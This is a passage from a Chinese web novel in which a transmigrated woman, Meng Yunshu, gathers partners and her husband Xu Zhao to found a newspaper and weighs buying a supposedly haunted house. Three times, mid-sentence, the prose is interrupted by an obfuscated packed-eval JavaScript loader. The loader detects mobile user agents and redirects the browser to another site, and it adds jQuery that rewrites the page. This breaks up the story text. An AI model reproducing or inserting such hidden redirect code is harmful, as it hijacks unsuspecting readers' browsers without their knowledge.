“夫人竟有如此雄心壮志。”萧谨言回味着孟允抒的演讲内容，明显被她的激情所感染。 孟允抒趁热打铁问他：“公子意下如何？” “夫人垂青谨言，我深表感激。” 孟允抒欣喜万分：“那——” 萧谨言小声说道：“但我不愿经商。” “为什么？” “世人都说‘士农工商’，若非无路可走，众人都不想从商。” 孟允抒把这茬给忘了。古代商人地位低，在这四个阶层中，商人是最容易被人轻视的。 她问萧谨言：“若是公子一直无法考取进士，难道你就要将一辈子的光阴都浪费在科考之中？” 这是一个令人绝望的假设，萧谨言也露出痛苦不堪的表情，显然这七年的科考已经让他饱受煎熬。 然而他还是像自我洗脑一般地絮叨着：“我别无选择。我是萧家二公子，我必须得考取功名，这样……” 孟允抒发现，萧谨言还是个死脑筋。 她好说歹说地劝了半天，终于无法再继续忍受他的冥顽不灵，有些生气地说了一句：“那你便考，考到两鬓斑白，到头来让你的诗文烂在屋里，你便满意了！” 这句话给了萧谨言一个沉重的打击，彻底击溃了他的心理防线。 他先是一愣，而后眼中竟泛起泪花。 “我就知道，我果真不招人喜欢。我爹嫌弃我，我娘骂我不争气，兄弟又都出人头地，只有我……” 孟允抒头脑发懵，她没想到萧谨言的心理脆弱至此，她一句话就惹得他这样难过。 这事与她脱不了干系，她只得连声道歉：“方才是我言重了，实在抱歉，公子不必自责。” 但萧谨言看起来更伤心了，眼眶泛红，淌着两行清泪说道：“不，夫人只是直言不讳而已，我有自知之明，且早已习惯他人这样评价。” 孟允抒极力不让自己的眉头皱起来，免得他又要怀疑她心生厌弃。 好麻烦的性格。 在孟允抒疲于应对萧谨言的时候，一个声音由远及近。 “我倒是觉得孟夫人的想法甚好，计划也周密可行，二哥可以一试。” 8. 合伙人 孟允抒回头一看，萧睿言从假山后方现出身形，正朝他们信步走来。 “睿言见过孟夫人。”他向孟允抒施礼，笑意盈盈道，“父亲差我来寻二哥，我走到此处时听得孟夫人慷慨陈词，正至精彩之处，我不愿打扰，便在一旁听了下去，还望孟夫人恕罪。” “能得到三公子肯定，允抒倍感荣幸。” 见到萧睿言，孟允抒想起她的采访稿中还有一处缺漏。刚才与那群夫人小姐聊天时她特意打听过萧睿言的感情状况，但能从当事人口中得到答案自然最好。 “方才席间人多，有一事我不便问公子。”她说，“我听众人说三公子与盛姑娘私交甚密，此话是真是假？” 孟允抒在提问中给萧睿言挖了个坑。她并未提及盛催雪的姓名，若萧睿言矢口否认，那反倒坐实了传言。 “盛姑娘？你说的可是那位闺阁才女，盛催雪？” 她的陷阱被萧谨言一脚踩了进来。 孟允抒很想把他痛打一顿，却见他泪痕未干，于是忍了又忍，勉强挤出一个微笑：“二公子认得她？” 萧睿言替他答道：“盛姑娘名声在外，但京中鲜少有人能一睹芳容。我听闻她家教严格，从不接见外宾。” 说罢，他看了看萧谨言，忍俊不禁道：“她有不少佳作流传于世，二哥对其赞不绝口。盛姑娘每有新作，他定要在第一时间寻遍京中书坊买来收集。若是有人诋毁盛姑娘，他便会同那人争得面红耳赤。” 孟允抒心下了然，原来萧谨言是盛催雪激推，怪不得他刚才的反应那么强烈。 “既然父亲寻我，我便先走了。”萧谨言被萧睿言揭了短，愤愤不平地逃离现场。 孟允抒追上去，百折不挠地拉拢他入伙：“二公子，今日我说的话皆发自肺腑，还望你能认真考虑。” “孟夫人请留步。”萧睿言叫住孟允抒，“关于办报一事，我有几处不明，请夫人为我解惑。” 孟允抒暂时放过萧谨言，返回亭中答复了些细节问题，萧睿言点头道：“如此说来，夫人当下最短缺的是资金与人力。” “是。” 孟允抒虽有些嫁妆，但一个人的抗风险能力不强，况且她目前无权无势，招揽贤才也绝非易事。 “若你决心办报，我愿为你分忧。”萧睿言笑道，“我刚得了御赐，钱财上尚有余裕。大哥已经自立门户，也可助夫人一臂之力。至于二哥那里，我去帮你游说。” 天下没有免费的午餐，萧睿言与她相识不过半日，孟允抒不相信他会无缘无故地帮助自己。 她开门见山道：“明人不说暗话，公子需要我帮你做些什么？” “夫人多虑了，我并非有求于你。我做此事的原因有三。”萧睿言笑道，“一来自然是为了入股赚钱；二来是想让二哥早日安顿下来，让姨娘少发几次火，别再吵得我耳根子疼。” “三来是因为我觉得此事着实有趣。下月我要去户部赴任，从此之后就得和那群老油条们打交道，想来定是十分无聊。” 他向湖中丢了枚石子，虽是小小一颗，却依然激起一朵水花，令湖面泛起层层涟漪，一直荡至岸边。 “相比之下，内探是个不错的差事，还能多领一份薪资。若朝中有什么新奇的事，我会及时告知于你。” 孟允抒疑惑：“户部官员政务繁忙，你怎会有时间做这些事？” 萧睿言自信一笑：“忙里偷闲。” 翻译一下就是“上班摸鱼”。 相较民间新闻而言，打探朝中消息的难度更大，若能在宫中安插线人，那自然再好不过。 因此，尽管孟允抒对萧睿言的话半信半疑，却依然答应下来。 萧睿言达成自己的目标，起身整理衣衫：“那便说定了，我们先去寻找附近有无合适的房屋，再打探京中有无可用的贤才。待事情有了眉目，我再与二哥登门拜访贵府，从长计议。” 孟允抒蓦地想起，若是要接见来客必然会惊动许昭，但他目前还不知道她要创建报社的事。 纸包不住火，这样下去不是个办法，她得找个契机和许昭聊聊这件事。但在此之前，她得先瞒着许昭，要是萧睿言提前将消息透露给许昭，她就会处于被动的境况。 “等等。”孟允抒拦住萧睿言，对他叮嘱道，“此事我尚未告知许郎，还请公子先替我保密。” 萧睿言闻声顿住脚步，回头看了她一眼，微微一笑道：“好。” “既然夫人提到许大人，还容我再多说几句。”他继续用那副闲聊时的轻松口吻说道，“原本这是夫人的私事，不应由我多嘴。但通过今日在席上与你问答，以及方才夫人所言，可看出你机敏果敢，睿言深感敬佩，也与你甚是投机，所以想斗胆问夫人一句话。” 现在萧睿言是孟允抒的天使投资人，她不敢怠慢了他，笑着应道：“公子愿意为我提供诸多帮助，我无以为报，区区一个问题，你但说无妨。” “夫人果真为人爽利，那我便直说了。”萧睿言眼含笑意，但问题一针见血，“敢问夫人是否与许大人感情不和？” 孟允抒心底一惊，但面上依然泰然自若。 “何以见得？” “夫人与许大人举止亲密，却有刻意之嫌，应是为了做戏给旁人看。”萧睿言开门见山道，“且过去几年夫人几乎从未随许大人一同出游，前些日子姚府又东窗事发，你们二人之间的关系一目了然。而后虽有小报否认你们离心的传闻，但也像是为掩人耳目所作。” 孟允抒突然觉得，相比之下，她还是更喜欢和萧谨言相处。 至少他没什么脑子。 她不动声色地说道：“允抒愚钝，请公子把话讲得更明白些。” “夫人不必紧张，我并非想要揣测你们二人的关系，或是在此挑拨离间。这些事做起来相当麻烦，我对此毫无兴致。”萧睿言轻笑一声，打消孟允抒的顾虑，“我有意与夫人结交，更何况待报社建立后，我们还要长期合作，必须信任彼此。” 说罢，萧睿言正色道：“许大人是正人君子，却屡遭朝臣倾轧排挤。既然我能看出夫人与他感情不睦，那旁人定然也能发现这其中的蹊跷。我担心不轨之人会利用此事做文章，蒙蔽夫人加害于他。” 孟允抒凭借直觉和经验判断，萧睿言并没有说谎。先不论他的真实意图是什么，有一点他说得没错。 在外人面前她得表明她和许昭夫妻同心，不给他人可乘之机。 “多谢公子提点。既然你以诚待我，允抒也当坦诚相对。”孟允抒直言，“过去我与许郎有诸多误会，但尽是些不足挂齿的私人恩怨。我舅父家人待我不好，又为非作歹，落此下场也是罪有应得，我并不仇恨许郎。” 她又找了个合适的借口解释两人关系生疏的原因，装出无奈的表情感叹道：“只是如你们所见，许郎性情冷淡，不喜与人来往，我虽倾心于他，却因他寡言少语，我对他不甚了解。” 从原主的记忆中孟允抒也发现，有不少人曾说过许昭性格怪异孤僻，不近人情。先前萧老爷曾蒙冤入狱，是许昭仗义执言替他奔走平反。为表谢意，他出狱后便备下厚礼送给许昭，但许昭却说他只是秉公断案，推拒不得后竟然斥责萧老爷公私不分，最后两人闹得不欢而散。 这件事简直就是对“铁面无私”的具象化表述。 “许大人出身寒门，礼数不周，不懂得人情世故，被众多官员轻视、排挤，不过我倒是希望朝堂之上能多些像许大人一般的人。”萧睿言似乎对许昭颇为赞赏，“正是因为他从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310338|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底层走入庙堂，才能懂得民间疾苦。” 孟允抒拿不准萧睿言的为官之道，试探着说：“现今公子也已步入朝政，宫廷之中自然是多了一名好官。” “并非如此。”萧睿言直言不讳道，“我并无政治才能，也没有建功立业的决心，只想在漩涡中保全自身、帮助家人罢了。若二哥能入朝为官，我就能放手经商。只可惜造化弄人。” 萧睿言说这话时，孟允抒并没有从中听出感伤的情绪，倒像是一句对命运的调侃。 “今日就先谈到这里。我还有事在身，先行告退了。” 孟允抒也觉得她在此处逗留过久，起身欲走时才回忆起她来这的目的：“三公子，请问府中有哪些清静的去处？” 她向萧睿言说明她与许昭走散的情况，萧睿言思索片刻，给出了一个推测。 按照他所指的路线，孟允抒拐过一道弯，远远地望见许昭在墙边的长凳上坐着。 “许公子，我找——”她走近许昭，话说到一半时被他手中的东西吸引，惊喜地问道，“你竟然还有这般手艺？” “姑娘回来了。”许昭抬眼看看她，将目光挪到手里的花环上，稍显尴尬地咳了一声，“我一人在此闲来无事，随便找点事做。” 孟允抒好奇地打量着花环，它以墨绿的枝叶为底，挽成精巧美观的绳结，上面有各色小花作为点缀，热闹却不显得繁杂。 她从来没想过许昭能和“心灵手巧”一词搭上关系。 “这会宾客应该已经陆续散去了，我们也回府吧。” 说罢，许昭起身，顺手将花环向草丛中一丢。 “等等。”孟允抒正认真观察着，许昭的动作太过突兀，她急忙跑过去将花环捡回来，“这么漂亮的东西，扔了岂不可惜？” 许昭对她的反应很是意外：“姑娘见多了金银玉器，竟然还会喜欢此等低微之物。” “金银有价，草木无价。”孟允抒同许昭一起向前庭走去，将花环翻来覆去地欣赏，“更何况二者本就不是同种物件，各有优劣，怎能放在一起比较？” 许昭见她对此爱不释手，有些不解地问：“最多三日，它便会枯萎凋零。姑娘何必费神将它带走？” 孟允抒不以为意：“那也是三日之后的事，当下只需珍惜春光。” 许昭沉默片刻，见她兴致高昂，转而开口问道：“孟姑娘今日十分尽兴？” “那是自然。” 孟允抒觉得她在此次宴会中收获颇丰，不但打探到不少需要的情报，还结识了实力雄厚的合伙人，招聘到了一位编辑和一名朝廷内线记者，许多棘手的问题迎刃而解，创建报社指日可待。 她沉浸在满载而归的喜悦中，完全没察觉到许昭欲言又止的神情。 “我本不该在此时扫了姑娘的兴致，可有一言我不得不说。”最终他开了口，提醒孟允抒道，“现今你常出门走动，喜欢与人交往，这是好事。但请姑娘不要与任何人走得过近，免生事端。” 孟允抒明白许昭是想避免官场中的那些裙带关系，向他保证道：“请公子放心，我自有分寸，定然不会将政事与私交混为一谈。” 许昭略一点头，淡然说道：“政局复杂险恶，姑娘能独善其身便好。” 这句话让孟允抒想起他在宴会中的表现，又蓦地联想到萧睿言扔进湖中的那枚石子。俗话说有人的地方就有江湖，许昭身处朝廷，想要明哲保身便只能切断与他人的联系，处于绝对的中立地位。 可从许昭的性格与作风来看，又显然与这一目标相冲突。 她思忖半天也没能找到合理的解释，索性将注意力转移到另一个问题上来。 萧睿言那边已经着手准备办报的前期工作，她得尽快向许昭说明此事。 9. 坦白 愉快的一日假期结束后，孟允抒又回归了她的打工人身份。 工作日的前三天是最难熬的，支撑孟允抒干活的唯二动力是两条好消息。 第一，她新写的报道被快马加鞭印成了小报，第一批报纸刚刚印刷出来后不久就被抢售一空，这增强了孟允抒对报业发展的信心。 第二，随着小报的发行，她顺利收到了系统的任务奖励。 精神胜利法无法消除双腿传来的胀痛，孟允抒抹了一把额上的汗珠，在心中愤愤不平地想，等她当了老板，她一定自食其力，绝对不当这种剥削员工的资本家。 “快，快把小报打乱，不该放在外面的书页也赶紧收起来！”一个伙计从前宅慌慌张张地闯进来，让他们把桌上印好的纸张统统打乱，又急忙招呼几人去院中把正在晾晒的纸张从绳上取下，“动作麻利点，他们马上就到了！” 在一片混乱之中，孟允抒虽然不明白发生了什么，但见工人与伙计都神情紧张，于是跟着他们一起打散小报，见缝插针地问：“发生什么事了，谁要到了？” 她身旁那个印工一把将纸堆揉乱，语速飞快地回答：“上面那些当官的老爷要来了！” 孟允抒与秋盈对视一眼，不解地问：“那为什么要把小报打乱？” “瞧你这话说的。”印工神情焦急道，“小报上什么内容都有，指不定就戳中了那些官老爷的痛处，更有甚者还妄议朝政，搞不好这就是掉脑袋的事！打乱小报最起码能减少些风险，若是文章不完整，我们还有为自己辩解的余地。” “还有那些书。”秋盈旁边的刻工也说道，“其中有两种可是朝廷明文规定的禁书，这让官老爷们看见还得了？” 孟允抒还想再多问几句，门外几个穿着公服的身影却已经跨进门槛走了进来：“官府突击检查，请诸位暂时放下手中活计，不要乱动，在院中排成两队站好。” 室内的空气顿时冷了下来，工人伙计们噤若寒蝉，孟允抒和他们一起，按照这几名官员的命令在院中站好。 孟允抒深知古代文字狱的恐怖，为钳制民众的思想，每个封建王朝对文化的审查都十分严格。她不敢轻举妄动，在队伍中将头深深埋下，竭力降低自己的存在感。 郭掌柜也已从前面的书铺中赶来，对为首的官员说：“大人，小店一直恪守行规，诚信经营，从不坐逾矩之事，请大人明察。” “掌柜莫怕，我们只是秉公办事。若你不曾做那些违法的买卖，我们定然不会冤枉了你。” 这声音太过耳熟，孟允抒惊愕地抬起头。 下一秒，她与许昭四目相对。 许昭看起来显然比她更加意外，怔怔地盯了她半天，像是在辨认她的面容。 孟允抒连忙重新将头低下，暗自祈祷许昭没能认出她。 平日她来书坊前都会乔装打扮，且从第一日起就叮嘱过府中下人，不许将此事透露给许昭，他也从来没见过她换装后的模样。 更何况，她向来都是在离文昌书坊还有一里地的时候下车，府中除了秋盈，根本无人知晓她整日在外做什么。 孟允抒这样想着，心里有了几分底气。 几名官员在坊中搜查一番后，将数页纸张带给许昭：“许大人，这些纸上的内容涉及朝政机密。请您过目。” 孟允抒低着头，看不见许昭的神情与动作，只听见一阵纸张被翻动的摩擦声。 声音停下后，许昭沉声问道：“郭掌柜，请问你对此作何解释？” “这是哪个不怕死的写的！”郭掌柜看了看纸上的内容，大声怒斥道，“竟敢冒充侍郎大人的身份写这种假奏章！” 说罢，他又严肃地对许昭说：“大人，小报生意红火，总有贪财近利者杜撰新闻。平日里我们书坊事务繁杂，刊印纸张众多，难免会有几则胡言乱语的消息混进其中，令人防不胜防。今后我一定对这些内容严加审核，坚决不让其流入坊间。” 孟允抒在心里默诵着郭掌柜的免责声明，说不定以后她也用得上。 许昭没有回应，郭掌柜又郑重其事地补充道：“事关重大，还请大人明察。若大人需要追究消息来源，我愿竭尽所能配合大人调查。” 许昭终于开了口，从他的语气中依然听不出任何个人情绪：“多谢掌柜。之后若是有需要，官府会派人前来取证。” “明白，我在此随时恭候大人差遣。” “方才我在队伍之中看到一人甚是面熟。”许昭忽地换了话题，“第三列，第二排那位小兄弟，请你抬起头来。” 孟允抒心头一颤。 坏了，冲她来的。 她按照许昭的命令抬起头，对他露出一个谄媚的笑容，用她伪装出的男声说道：“大人找我？” 许昭听见她的声音先是一愣，而后犹疑地将她从头到脚打量了几遍。 郭掌柜见状，赶忙上前问道：“这是我们坊中新来的帮工，大人可需要将他带走问话？” 孟允抒讪讪地笑着，心跳如鼓点般敲得越来越快。 许昭收回目光，转头对郭掌柜说道：“不必，我认错人了。打扰掌柜。” 而后，伴随着一阵凌乱的脚步声，许昭带着一队官员离开了书坊。 掌柜如释重负地松了一口气，对伙计们吆喝道：“都散了，快去干活。” 孟允抒也仿佛卸下了千斤重担，至少许昭没有在大庭广众之下戳穿她的身份。 但是从他的反应来看，她今天是逃不过一场盘问了。 果然，在她下工回府后，门房直接把她请进了正厅。 而孟允抒身上还穿着那件粗布短褐。 她将心一横迈进门槛，若无其事地向许昭行了礼。 “许公子有事找我？” 许昭将手中的书放到一旁，目光稳稳地落在她身上。 “姑娘请坐。” 孟允抒落座后，许昭却迟迟没有开口。她心里七上八下，一面谨慎观察许昭的神情，一面思索着对策。 她与许昭并无夫妻之实，平日里他们鲜少过问或插手彼此私事，可今天的事显然不同以往。 其一，她欺瞒了许昭。这些天她外出的理由都是闲逛散心，从没和他说过半句实话。过去两年里二人因猜忌生出嫌隙，现在她所做之事将这道裂痕撕扯得更大更深。 其二，文昌书坊所售的文化产品有违令之嫌，而她恰好在书肆帮工。 她这已经不是在雷区蹦迪了，简直就是把两颗地雷结结实实地踩在脚下，且被许昭逮了个正着。 孟允抒自知理亏，决定先说几句好话探探许昭的口风：“公子，今日之事我已知错，我不该瞒着公子，自作主张前去书坊帮工。但我可以保证，我在坊中从未做过逾矩或违令之事，这点请你放心。” “不，姑娘想去何处、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310339|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想做何事都是你的自由，我无权干涉。”许昭轻轻叹了口气，又沉默良久。 “我只是觉得对不住姑娘。” 这句话不在孟允抒的预料之中，她惊诧地问：“公子此话怎讲？” 许昭注视着她，缓缓说道：“姑娘出身高贵，是娇生惯养的大家千金。你到姚府后虽暗受轻视，但他们在明面上并不苛待你，你的生活依旧算得上是锦衣玉食。后来姑娘到我府中，境况却急转直下。” 比起其他同级官员的消费水平，许昭的生活节俭，除必备的门房、厨房等岗位人员以外，府中没有其他仆人，连他自己都没有配备丫鬟或小厮，平日饭桌上最多出现的也是家常饭菜。 在孟允抒看来，这已经是神仙日子了。 更何况许昭每月都会给她按时发放月银，对她称得上仁至义尽。 她直言道：“公子不曾亏待于我，如今的生活也称得上平淡闲适，我相当知足。” “到底是我坏了姑娘的名声，这些都是我分内之事。” 许昭顿了顿，神情庄重地问她：“姑娘与我这般出身低微之人成婚，难道不觉得受了委屈？” 自古以来人们结亲便讲究门当户对，单论孟允抒和许昭的家境，这门亲事是他高攀，许昭认为孟允抒多少会对此心怀芥蒂。 “风水轮流转，显贵之家不一定永远昌盛，贫贱小户也并非没有发达的可能。往祖上倒个几代，谁富谁贫还说不准呢。”孟允抒笑道，“更何况出身并非一个人的全部，公子品行端正，何来委屈之说？” 许昭瞥了一眼她身着的那件粗布衣衫，并不相信她的回答：“你不必瞒我，你带着秋盈跑去书坊帮工，不是因为手头紧张？” 听到他的疑问，孟允抒恍然大悟。 原来许昭是认为她缺钱花，这才跑去书坊干活。 话题已经行进至此，时机绝佳，孟允抒决定顺势向许昭坦白她办报的计划。 “公子误会了。我去书坊不为赚钱，而是偷师。”她找了个合理的借口说，“我在府中并不劳作，却要从账上领取月银，受之有愧。且公子一人持家太过辛苦，我想为你分忧。” 她先是用一通真挚诚恳的好话作为铺垫，以体现自己对许昭的感恩和理解，而后逐渐切入正题，表明她办报的意愿及其重要性，引出她的详细计划。 孟允抒同他讲述这些时颇为自信，可心里并无十足的把握。许昭做事向来保守稳妥，她担心许昭会断然否定她的计划。 所幸在听她叙述的过程中，许昭的面色由平静变为讶然，最后微微一笑。 “姑娘的想法别具一格，且有自强自立的傲气，许某佩服。前些日子你通过小报为我辩白，我见识过姑娘的文采，若做此事定有所成。”许昭的话锋一转，“只是民间小报乱象丛生，违令者诸多，为保险起见，请姑娘允许我出资入股，监察民情。” 孟允抒思忖片刻，认为许昭参与此事利大于弊。 他对胤朝的律法烂熟于心，如果他能从旁监督并帮助审查，她反而能绕开禁令，在官方与民众之间寻得一个平衡点，既不至于因违令祸及自身，又不会让百姓陷入闭目塞听的困境。 而且，多一笔启动资金对她来说也是莫大的好事。 于是她应允许昭的话，并向他说明了在萧府所发生的事情。 “待萧公子那边传来消息，我们可以再与其详谈。” 10. 初创团队 萧睿言所言非虚，孟允抒从萧府回来后刚过十日，他便同萧谨言一起登门拜访，与孟允抒详谈创建报社的相关事宜。 不过萧谨言看起来还是一副不情不愿的样子，像是孟允抒强迫他抛弃贞操下海一般。 “二位公子请进。” 孟允抒喜上眉梢，将两人迎进正厅，又亲自给他们沏了茶，以表自己的惜才之意。 “许大人也在。”萧睿言满面笑容，向早已在桌边等候的许昭行了一礼，又将目光投向孟允抒，略一挑眉。 孟允抒会意地解释道：“我先前已将办报之事告知许郎，他将定期对小报内容进行审阅，防止妖言惑众。” 言下之意就是，许昭现在已经知道内情，萧睿言可以不用再守口如瓶。 “原来如此。”萧睿言拱手说道，“还是许大人思虑周全。” 在几人互相寒暄的时候，萧谨言全程站在旁边赔笑，嘴里发出一些不明所以的语气词。 孟允抒先前已经见识过，这是萧谨言特有的打招呼方式。 “夫人，秋盈姐姐到了。” 一个小丫头带着秋盈进来，她见桌旁坐着两位陌生公子，便先行了个常礼，而后用疑惑的眼神望了望孟允抒。 孟允抒起身将秋盈拉过来：“给二位公子介绍一下，这位是自幼服侍我的姐姐，跟在我身边多年，名叫秋盈。” 她又向秋盈说明对面两人的身份：“这便是我和你说的那两位公子，今后我们就要在一起共事了。” 前些日子她听孟允抒讲过此事，心下了然道：“多谢二位公子鼎力相助。” 孟允抒招呼众人落座，准备进行第一次会议：“客套话都说完了，各位都别站着，坐下说话。” 她见秋盈还站在一边，便伸手将她拉过来：“你愣着干什么，快坐。” 秋盈神情一滞，忙不迭地退后：“不必了，我在旁边站着便好。” 目前桌上坐着四人，分别是孟允抒、许昭、萧谨言、萧睿言。在秋盈眼中，桌上坐着的是夫人、老爷、两位大户人家的公子。 而她身份低微，和他们坐一桌显然是坏了礼数。 孟允抒不用猜都知道秋盈在想什么，索性将她一把按在椅子上笑道：“你若是不坐，我说话还得仰着脖子，怪麻烦的。” 秋盈惶恐不安地坐着，又担心因为她耽误了他人的时间，却也没再起身。 萧睿言率先开了口，向许府三人概述他这一周打探的成果：“目前我们寻到了四处宅子，离许府和萧府都不远，而且其所在街道商铺数量众多，平日里有不少前来采买闲逛的行人。” 他依次介绍了这几处房宅的售价、地理位置和房屋布局等基本情况，在面前的白纸上绘制出简单的平面示意图。 “最后一处宅子位于云锦天街西侧的杏林巷，临近造纸坊，是三进四合院结构。” 孟允抒听着萧睿言的介绍，又端详了一番他画出的房屋布局图，对其很是满意。 靠近造纸坊意味着取纸方便，可以节约不少运输成本；房屋的布局也非常符合她想象中报社的部门设置。 临街的前宅可作为营业门面，在其中售卖小报，附带部分销售量极高的书籍；中庭可用作采编部门的办公地点，在此处进行讨论选题、撰写报道和编辑稿件等工作；后院则可以设置为刻印工坊，承载雕刻字模、印刷报纸的功能。 她问萧睿言：“这处宅子售价多少？” “三千两银子。” 话音落地，除萧谨言外，桌上所有人都一齐睁大了眼睛。 孟允抒不可置信地确认：“三千两？” 这个价格和天上掉馅饼没什么区别。 京城寸土寸金，房价高昂，且云锦天街地处繁华，周围的房屋也随之摇身一变成了旺铺，先不论那些豪宅，连犄角旮旯的小宅子都动辄上万两。 “别高兴得太早了。”一直保持沉默的萧谨言突然开口，“那是个凶宅，闹鬼。” 接着，他讲起了这个说法的来历。 “这宅子原本是陈府，那是户小富人家，主人有一妻一妾，整日斗得鸡飞狗跳。后来妾室江氏渐渐失宠，忧思过度重病身亡，也有传言说此事与正室的王氏有关，江氏是含冤而死，怨气深重。” “她去世后，宅子里便频频生出异象，什么烛火自熄、女子夜啼都是常事，还有人说曾在深夜见到那妾室于庭中行走。后来，陈老爷暴毙身亡，府中下人疯的疯，死的死，没一个好下场，最后连那王夫人也失了神智，被接回娘家。陈老爷膝下无子，陈府被他弟弟接了手，他觉得晦气，想早点把这个烫手山芋扔出去，所以才低价出售。” 这是一段相当经典且俗套的坊间怪谈，不知可信度能有几成。 而且，作为一个坚定的唯物主义战士，孟允抒完全不在乎什么鬼神之说。即使真有鬼，那最可怕的一定是穷鬼。 孟允抒又综合比较了一下几处宅子的各方面，最终还是被那处凶宅的性价比折服，心中的一杆秤已经向陈府倾斜。 桌上还坐着其余几位创业伙伴，她不好直接做决定，便先征询其余四人的意见：“你们觉得呢？” “反正肯定首先排除那个凶宅。”萧谨言不满地瞥了眼萧睿言，“要我说就不该把它放进备选案例里面，劳心费神。” 萧睿言则像没听见他的话一般，不紧不慢地说道：“我觉得这几处宅子都甚是不错，若我有所偏好，就不会将它们全部呈给各位了。” 许昭的态度中立：“我只是从旁监督小报内容，其余事务我不插手，请诸位自行定夺。” 秋盈的回答在孟允抒的预料之中：“我听夫人的。” 当前场面对孟允抒十分有利，她当即拍板：“那先暂定将陈府作为最优选择，待我们实地考察后再作最终决定。” “啊？”萧谨言显然没预料到这个结果，他急切地提醒几人，“你们没听见吗，那可是凶宅，凶宅！我反对！” “好吧。”为了让萧谨言心悦诚服，孟允抒说道，“那请各位共同表决，少数服从多数。” “同意将陈府作为最佳选择的人请举手。” 孟允抒和秋盈第一时间举起了手，许昭迟疑半秒，飞快地扫了眼两名萧公子，也跟着抬起手臂。 此时结果已经明了，萧谨言见状更是焦急，直接从椅子上站了起来：“不是，你们都不怕那冤魂前来索命吗？” 孟允抒非常意外，萧睿言居然不赞同她的想法，而许昭居然会表明态度支持她。 “不同意方才提议的人请举手。” 萧谨言噌地一下将手举得老高。 但最引人注目的还是萧睿言。他还是没举手。 还不等孟允抒发问，萧谨言先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310340|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提出了她的疑惑：“睿言，你这是什么意思？” 萧睿言笑了笑说道：“我方才说过，这几处宅子在我眼中都很好，我并无倾向。” 哪边都不得罪，真是和稀泥的一把好手。 “那许大人是怎么回事？”病急乱投医，萧谨言又将矛头对准许昭，“你方才不是说不插手此事吗？” 许昭突然被点名提问，一时语塞，竟然没给出合理的解释。 “许大人若是不表态，我要是同意你，那便是二对二，决不出胜负。”萧睿言看上去是在向萧谨言解释，但孟允抒觉得他刻意提高了声音，“说到底许大人与孟夫人是夫妻，有私心也是人之常情。” 别人不知内情，但孟允抒心里可是门儿清。 许昭对她哪来的私心？ 她觉得有些好笑，转头去看许昭的反应时，却发现他的耳朵已经拢上一层薄红。 她不但笑不出来了，而且有点慌张。 他这是什么意思？ 为摆脱尴尬的气氛，许昭及时将话题拉回正轨，继续推进议程：“此事已有结论，我们商讨下一个问题。” 孟允抒也赶忙回归正题，跟上来问道：“三公子，我曾拜托你打听相关人员的消息，请问情况如何？” 报社最主要的三个部门便是采编、印刷和发行，相应地需要具备不同专业能力与技术的人员。 “平日我素爱交友，其中不少人才思敏捷，却怀才不遇。”萧睿言用余光扫了眼萧谨言，“他们听闻我考中状元，相聚同游，我便趁此机会传达了夫人的想法，有几人曾表示愿意加入报社，尝试担任探官或编辑。至于其他人等我尚无眉目，但二哥说他那边打探到了消息。” 萧谨言终于压过萧睿言一头，万分得意地接过话说：“前些天我去买盛姑娘最新发表的词作，跑遍了城内的书肆，他们都告知我来迟了，没有库存。后来我找到京郊的一家书坊，里面还有姑娘的作品。” 他喜不自胜，连语调都变得高昂了几分。 “但我见那书坊气氛萧索，房屋空旷，只余寥寥几本典籍，觉得奇怪，便向掌柜打听。他说，他的店铺经营不善，便索性将店铺转让出去，回家务农。那店里的伙计和工人垂头丧气，说这下没了着落，还得另寻出路。” 萧谨言说到这里便不再开口，冲对面几人笑笑。 后面的事不言自明。这真是踏破铁鞋无觅处，得来全不费工夫。 报社选址和人员招募的事有了初步进展，报社的轮廓也日渐清晰。随后他们要做的事便是实地考察那几处宅邸，等定下结果后添置需要的器具，以及甄别和筛选应聘人员。 随后，孟允抒就能迈出崭新的第一步了。 许昭显然也意识到这一点，他将话题推进至下一个问题：“此前坊间并无专营小报的店铺。既然要兴办报社，总得有个名号。” 他转头问孟允抒：“你有什么打算？” 这话提醒了孟允抒，之后她还得找工匠为报社做个匾额。 她创建报社的最初目标是办报，定下报纸名称后，报社名字也就随之明了。孟允抒要办的是一份迎合市井热点的民间小报，自然想到了那份妇孺皆知的《人民日报》。 换成胤朝的叫法，那便是《黎民日报》。 孟允抒心中有了答案，对许昭笑道：“就叫‘黎民报社’吧。” 11. 凶宅 既然创建报社之事已经提上日程，孟允抒随便寻了个由头，向郭掌柜提出要走。在分别的那日，郭掌柜对她和秋盈反倒热情了不少，还再三叮嘱她，若是有了新闻，还可出售给他，找他印制小报。 孟允抒估计，这是因为她的身份从员工变成了顾客，顾客的潜在含义是金主。 在做生意这方面，郭掌柜很是在行。 